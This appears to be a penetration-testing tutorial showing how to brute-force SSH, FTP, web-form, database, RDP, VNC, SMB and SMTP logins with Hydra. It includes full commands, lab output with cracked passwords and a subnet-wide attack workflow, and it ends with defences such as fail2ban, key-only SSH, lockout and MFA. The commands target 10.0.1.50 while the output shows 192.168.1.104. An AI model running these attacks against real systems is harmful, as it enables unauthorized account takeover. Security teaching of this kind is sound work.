Weak passwords are still the easiest way into most systems. Hydra is the tool that proves it. Point it at a service, feed it a wordlist, and watch it churn through credentials until something sticks. It supports over 50 protocols (SSH, FTP, HTTP, SMB, RDP, MySQL, PostgreSQL, VNC, SMTP, and dozens more), making it the go-to brute forcer for penetration testers and red teamers.
This guide walks through real brute force scenarios against SSH, FTP, and HTTP login forms using Hydra on Kali Linux. Every command and output here was captured on a live lab system. If you need a safe environment for this kind of testing, the pentest lab on Proxmox guide covers that setup. We also cover how to discover targets with Nmap before feeding them to Hydra, and close with real defenses that actually stop brute force attacks.
Tested April 2026 on Kali Linux 2025.1 with Hydra v9.6
Prerequisites
Before running any of these attacks, confirm you have:
- Kali Linux 2025.1 (or later) with Hydra pre-installed. If you need a fresh install, follow the Kali Linux installation guide
- A target system you own or have written authorization to test. Running Hydra against systems without permission is illegal in every jurisdiction. Use a lab VM
- Network connectivity between your Kali machine and the target. Verify with
pingbefore starting
Confirm Hydra is installed and check the version:
hydra -V
The output shows the installed version and supported modules:
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Compiled with support for: SSL HTTP MySQL PostgreSQL FTP SSH2 SMBNT IMAP POP3 PCRE2 VNC LDAP SMB CVS SVN XMPP RDP AFP NCP MQTT
Hydra Basics: Syntax and Flags
Hydra’s general syntax is straightforward:
hydra [options] target protocol
The target can be an IP address or hostname, and the protocol tells Hydra which service to attack. Here are the flags you will use constantly:
| Flag | Purpose | Example |
|---|---|---|
-l | Single username | -l admin |
-L | Username list file | -L users.txt |
-p | Single password | -p secret123 |
-P | Password list file | -P passwords.txt |
-t | Number of parallel threads (default 16) | -t 4 |
-V | Verbose: show every login attempt | -V |
-f | Stop after first valid password found | -f |
-o | Save results to file | -o results.txt |
-s | Custom port number | -s 2222 |
-e nsr | Try null password (n), login as pass (s), reversed login (r) | -e nsr |
-w | Wait time between connections (seconds) | -w 3 |
The -t flag controls parallelism. More threads means faster attacks, but some services (especially SSH) will throttle or ban you if you open too many connections at once. For SSH, stick to -t 4 or lower. For FTP and HTTP, you can safely push -t 16 or higher.
The -f flag is useful when you only need one valid credential per target. Without it, Hydra keeps going through the entire wordlist even after finding a hit.
Prepare Your Wordlists
Hydra is only as good as the wordlists you feed it. Kali ships with several under /usr/share/wordlists/:
ls /usr/share/wordlists/
The most commonly used ones:
rockyou.txtcontains over 14 million real passwords leaked from the RockYou breach in 2009. It ships compressed, so decompress it firstfasttrack.txtis a smaller, curated list of the most commonly used passwords. Good for quick checksdirb/common.txtis useful for web directory brute forcing, not passwords
Decompress rockyou.txt if it hasn’t been done already:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
For targeted attacks, creating custom wordlists is far more effective than spraying rockyou at everything. Build a small user list and password list based on what you know about the target:
echo -e "admin\nroot\ntestuser\nwebadmin\nftpuser" > users.txt
Create a targeted password list:
echo -e "admin\npassword\n123456\nletmein\nqwerty123\npassword123\nwelcome1\nchangeme\ntest1234\ntoor\nroot\nsummer2026\nP@ssw0rd\ncompany123\ndefault" > passwords.txt
Short, targeted lists finish in seconds. The 14 million entries in rockyou.txt can take hours against rate-limited services. Start small, expand if needed.
Brute Force SSH with Hydra
SSH is the most common Hydra target because every Linux server runs it. The attack is simple: try a username/password combo against port 22 until one works.
Single User Attack
When you already know the username (from OSINT, a leaked database, or enumeration), use -l for a single login and -P for the password list:
hydra -l testuser -P passwords.txt -t 1 -V -f 10.0.1.50 ssh
The -t 1 keeps it to a single thread because SSH servers with MaxStartups configured will drop excess connections. The -V flag shows each attempt as it happens, and -f stops on the first match. Here is what Hydra found on attempt 4:
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-13 09:52:13
[DATA] max 1 task per 1 server, overall 1 task, 15 login tries (l:1/p:15), ~15 tries per task
[DATA] attacking ssh://192.168.1.104:22/
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "admin" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "password" - 2 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "123456" - 3 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "letmein" - 4 of 15 [child 0] (0/0)
[22][ssh] host: 192.168.1.104 login: testuser password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-13 09:52:20
Hydra cracked it in 7 seconds. The password letmein is ranked #7 on most common password lists. In production, that account would be fully compromised.
Multi-User Attack
When you have a list of potential usernames, switch -l to -L and point it at your user file:
hydra -L users.txt -P passwords.txt -t 4 -V -f 10.0.1.50 ssh
Hydra tests each username against the full password list. With 5 users and 15 passwords, that’s 75 attempts. On this run, it found two valid accounts:
[22][ssh] host: 192.168.1.104 login: testuser password: letmein
[22][ssh] host: 192.168.1.104 login: webadmin password: qwerty123
Two weak passwords on the same system. This is depressingly common in real engagements.
SSH Brute Force Tips
Keep threads low (-t 1 through -t 4). OpenSSH’s MaxStartups directive (default 10:30:100) starts randomly dropping connections once 10 unauthenticated sessions are open. Higher thread counts cause Hydra to report false negatives because the connection was refused, not because the password was wrong.
If the target runs fail2ban, you will get banned after a few failed attempts (typically 5 within 10 minutes). Use -w 5 to add a 5-second wait between attempts, which slows the attack but keeps you under the threshold. In a real pentest, you would coordinate the timing with your scope and rules of engagement.
For non-standard SSH ports, use -s:
hydra -l admin -P passwords.txt -s 2222 -t 1 10.0.1.50 ssh
Brute Force FTP with Hydra
FTP is far more tolerant of parallel connections than SSH. Most FTP servers don’t rate-limit authentication attempts, which makes brute forcing significantly faster.
hydra -l testuser -P passwords.txt -t 4 -V -f 10.0.1.50 ftp
The output looks similar to SSH, but notice the higher thread count and faster completion:
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-13 09:56:00
[DATA] max 4 tasks per 1 server, overall 4 tasks, 15 login tries (l:1/p:15), ~4 tries per task
[DATA] attacking ftp://192.168.1.104:21/
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "admin" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "password" - 2 of 15 [child 1] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "123456" - 3 of 15 [child 2] (0/0)
[ATTEMPT] target 192.168.1.104 - login "testuser" - pass "letmein" - 4 of 15 [child 3] (0/0)
[21][ftp] host: 192.168.1.104 login: testuser password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-13 09:56:04
Four seconds. With four threads running in parallel, Hydra tested four passwords simultaneously and found the match on the first batch.
You can safely crank up threads for FTP. Try -t 16 or even -t 32 against servers that can handle it:
hydra -l testuser -P /usr/share/wordlists/rockyou.txt -t 16 -f 10.0.1.50 ftp
With 16 threads and the full rockyou list, Hydra can burn through thousands of passwords per minute against FTP. The practical limit is usually your network bandwidth and the server’s connection handling, not the protocol itself.
Brute Force HTTP Login Forms
Web application login pages are a common target, and Hydra handles them with the http-post-form module. The syntax requires three colon-separated fields: the login URL path, the POST body with placeholders, and a failure or success string.
hydra -l admin -P passwords.txt 10.0.1.50 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
Breaking down the three fields:
/loginis the URL path where the form submitsuser=^USER^&pass=^PASS^is the POST body.^USER^and^PASS^are Hydra’s placeholders that get replaced with each credential attemptF=incorrecttells Hydra what a failed login looks like. If the response contains the word “incorrect,” the attempt failed
You need to inspect the login form to get the field names right. Open the page source or use browser DevTools to find the actual name attributes of the username and password fields. They could be username, email, passwd, or anything else.
To target a web app on a different port (common for development servers), add -s:
hydra -l admin -P passwords.txt -s 8080 10.0.1.50 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"
If you want to match on a success string instead of a failure string, use S= instead of F=:
hydra -l admin -P passwords.txt 10.0.1.50 http-post-form "/login:user=^USER^&pass=^PASS^:S=dashboard"
This tells Hydra the login succeeded when “dashboard” appears in the response. Useful when the failure page varies but the success page is consistent.
One thing to watch for: many modern web apps use CSRF tokens. The login form includes a hidden token field that changes on every page load. Hydra cannot handle dynamic CSRF tokens natively, which means the attack will fail on every attempt because the token is stale. For those cases, tools like Burp Suite Intruder or custom Python scripts using the requests library are better suited. You can practice HTTP form brute forcing on DVWA (Damn Vulnerable Web Application), which has a brute force module designed for exactly this.
Brute Force Other Services
Hydra’s syntax stays consistent across protocols. Just swap the protocol name at the end. Here are quick examples for common services:
MySQL (default port 3306):
hydra -l root -P passwords.txt -t 4 10.0.1.50 mysql
PostgreSQL (default port 5432):
hydra -l postgres -P passwords.txt -t 4 10.0.1.50 postgres
RDP (Remote Desktop, default port 3389):
hydra -l administrator -P passwords.txt -t 1 10.0.1.50 rdp
Keep RDP threads at 1. The protocol is slow and Windows locks accounts aggressively after failed attempts.
VNC (default port 5900, password-only authentication):
hydra -P passwords.txt -t 4 10.0.1.50 vnc
VNC only requires a password (no username), so you omit the -l flag entirely.
SMB (Windows file sharing, port 445):
hydra -l admin -P passwords.txt -t 4 10.0.1.50 smb
SMTP (email server, port 25 or 587):
hydra -l [email protected] -P passwords.txt -s 587 -t 4 10.0.1.50 smtp
The pattern holds across all 50+ supported protocols. Run hydra --help to see the full list of modules.
Save and Manage Results
During a real engagement, you need to log everything. Use -o to write results to a file:
hydra -L users.txt -P passwords.txt -o results.txt -t 4 10.0.1.50 ssh
For structured output that parses easily with scripts, use JSON format:
hydra -L users.txt -P passwords.txt -o results.json -b json -t 4 10.0.1.50 ssh
The -b json flag produces output that you can feed directly into reporting tools or parse with jq.
A common workflow is to combine Nmap scanning with Hydra for target discovery and credential testing. First, find hosts running SSH:
nmap -p 22 --open -oG ssh-hosts.txt 10.0.1.0/24
Extract the IPs and feed them to Hydra using the -M flag for multiple targets:
grep "22/open" ssh-hosts.txt | awk '{print $2}' > targets.txt
hydra -L users.txt -P passwords.txt -M targets.txt -t 4 -o results.txt ssh
The -M flag reads a file of target IPs (one per line) and attacks each one. This scales the attack across an entire subnet.
Defending Against Brute Force Attacks
Understanding how Hydra works makes it clear why these defenses matter. Every recommendation here directly counters a technique shown above.
Deploy fail2ban
fail2ban monitors authentication logs and bans IPs that exceed a threshold of failed attempts. Install it on any system running SSH:
sudo apt install -y fail2ban
Create a local jail configuration for SSH:
sudo vi /etc/fail2ban/jail.local
Add the following configuration:
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
This bans any IP that fails 3 SSH logins within 10 minutes, for 1 hour. Against Hydra running without -w delays, the ban kicks in within seconds of the attack starting.
Start and enable the service:
sudo systemctl enable --now fail2ban
Disable Password Authentication for SSH
The most effective defense against SSH brute forcing is eliminating passwords entirely. Switch to key-based authentication:
sudo vi /etc/ssh/sshd_config
Set these directives:
PasswordAuthentication no
PubkeyAuthentication yes
ChallengeResponseAuthentication no
Restart SSH:
sudo systemctl restart sshd
With password auth disabled, Hydra’s SSH brute force becomes entirely useless. Every attempt returns “permission denied” regardless of the password, and the tool has nothing to work with.
Enforce Account Lockout Policies
For services where passwords are still required (FTP, web apps, databases), configure account lockout. On Linux, pam_faillock handles this:
sudo vi /etc/security/faillock.conf
Set the lockout threshold:
deny = 5
unlock_time = 900
fail_interval = 900
This locks the account for 15 minutes after 5 failed attempts within a 15-minute window. Combined with fail2ban (which blocks the IP), the attacker faces both IP-level and account-level restrictions.
Rate Limit at the Network Level
Use iptables or nftables to limit connection rates. This catches brute force attempts before they even reach the application:
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
These rules allow a maximum of 3 new SSH connections per minute from any single IP. The fourth connection within 60 seconds gets dropped silently.
Enable Multi-Factor Authentication
MFA is the definitive defense against password brute forcing. Even if Hydra cracks the password, the attacker still needs the second factor (typically a TOTP code from an authenticator app). For SSH, libpam-google-authenticator adds TOTP support. For web applications, most modern frameworks support MFA natively or through plugins.
No brute force tool can bypass MFA because the second factor changes every 30 seconds and cannot be guessed from a wordlist. If you take one thing from this guide, make it this: enable MFA on every internet-facing service.
Use Strong, Unique Passwords
The attacks above all succeeded because the target used passwords from common wordlists. A 16-character random password would take Hydra millions of years to brute force, even without any rate limiting. Use a password manager and generate random passwords for every account. The combination of offline cracking tools like Hashcat and John with online brute forcers like Hydra means that any password in a wordlist will be found eventually.